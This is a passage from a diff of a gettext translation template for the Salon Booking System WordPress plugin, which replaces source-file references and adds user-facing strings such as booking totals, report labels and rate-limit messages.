build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:31\n-msgid \"Method not found\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:422\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:485\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:422\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:485\n+msgid \"Toggle no-show status\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:46, src\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:41, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:46, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:41, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:46, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:41\n-msgid \"File not found\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:855\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:949\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSalonStep.php:28\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:855\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:949\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSalonStep.php:28\n+msgid \"Too many booking attempts. Please try again in a few minutes.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInit.php:667\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInit.php:667\n+msgid \"Too many login attempts. Please try again later.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:189\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:189\n+msgid \"Too many requests. Please try again later.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:51, src\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:46, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:51, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:46, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:51, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:46\n-msgid \"Cannot create tmp file\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:3\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:39\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:3\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:39\n+msgid \"Tools\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:56, src\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:51, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:56, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:51, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:56, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:56, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:56, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:56, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:51\n-msgid \"Cannot write to tmp file\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:510\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:510\n+msgid \"Top Customers\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:104, src\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:142, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:104, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:142, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:104, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:142, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:104, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:142, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:104, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:142, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:104, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:142\n-msgid \"Filename not found\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:657\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FTopCustomersReport.php:20\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:657\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FTopCustomersReport.php:20\n+msgid \"Top customers\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:109, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:109, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:109, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:109, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:109, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:109\n-msgid \"Import data not found\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:372\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:372\n+msgid \"Top Services\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:148, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:148, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:148, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:148, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:148, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:148\n-msgid \"Data not found\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002Fweekly_report\u002F_top_spenders_customers.php:9\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fweekly_report\u002F_top_spenders_customers.php:9\n+msgid \"TOP SPENDER CUSTOMERS\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FAddHolydayRule.php:71, src\u002FSLN\u002FAction\u002FAjax\u002FRemoveDailyHolydays.php:56, src\u002FSLN\u002FAction\u002FAjax\u002FRemoveHolydayRule.php:101, src\u002FSLN\u002FAction\u002FAjax\u002FSetCustomText.php:20, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAddHolydayRule.php:71, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRemoveDailyHolydays.php:56, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRemoveHolydayRule.php:101, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetCustomText.php:20, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAddHolydayRule.php:71, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRemoveDailyHolydays.php:56, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRemoveHolydayRule.php:101, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetCustomText.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAddHolydayRule.php:71, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRemoveDailyHolydays.php:56, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRemoveHolydayRule.php:101, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetCustomText.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAddHolydayRule.php:71, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRemoveDailyHolydays.php:56, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRemoveHolydayRule.php:101, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetCustomText.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAddHolydayRule.php:71, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRemoveDailyHolydays.php:56, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRemoveHolydayRule.php:101, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetCustomText.php:20\n-msgid \"You don't have permissions\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:80\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:89\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:80\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:89\n+msgid \"Total\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FAddHolydayRule.php:68, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAddHolydayRule.php:68, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAddHolydayRule.php:68, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAddHolydayRule.php:68, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAddHolydayRule.php:68, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAddHolydayRule.php:68\n-msgid \"Something gone wrong with the selection. Please reselect the holyday.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_booking_info.php:126\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_booking_info.php:126\n+msgid \"TOTAL AMOUNT\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FApplyTipsAmount.php:16, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FApplyTipsAmount.php:16, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FApplyTipsAmount.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FApplyTipsAmount.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FApplyTipsAmount.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FApplyTipsAmount.php:16\n-msgid \"Tips is not valid\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:159\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:162\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:160\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:131\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:407\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:51\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:908\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:159\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:162\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:160\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:131\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:407\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:51\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:908\n+msgid \"Total amount\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FApplyTipsAmount.php:33, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FApplyTipsAmount.php:33, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FApplyTipsAmount.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FApplyTipsAmount.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FApplyTipsAmount.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FApplyTipsAmount.php:33\n-msgid \"Tips was applied\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:15\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:15\n+msgid \"Total amount of the reservation\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:199, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:199, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:199, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:199, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:199, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:199\n-msgid \"bookings\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_show_tax.php:21\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_show_tax.php:21\n+msgid \"Total amount tax excluded\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:200, 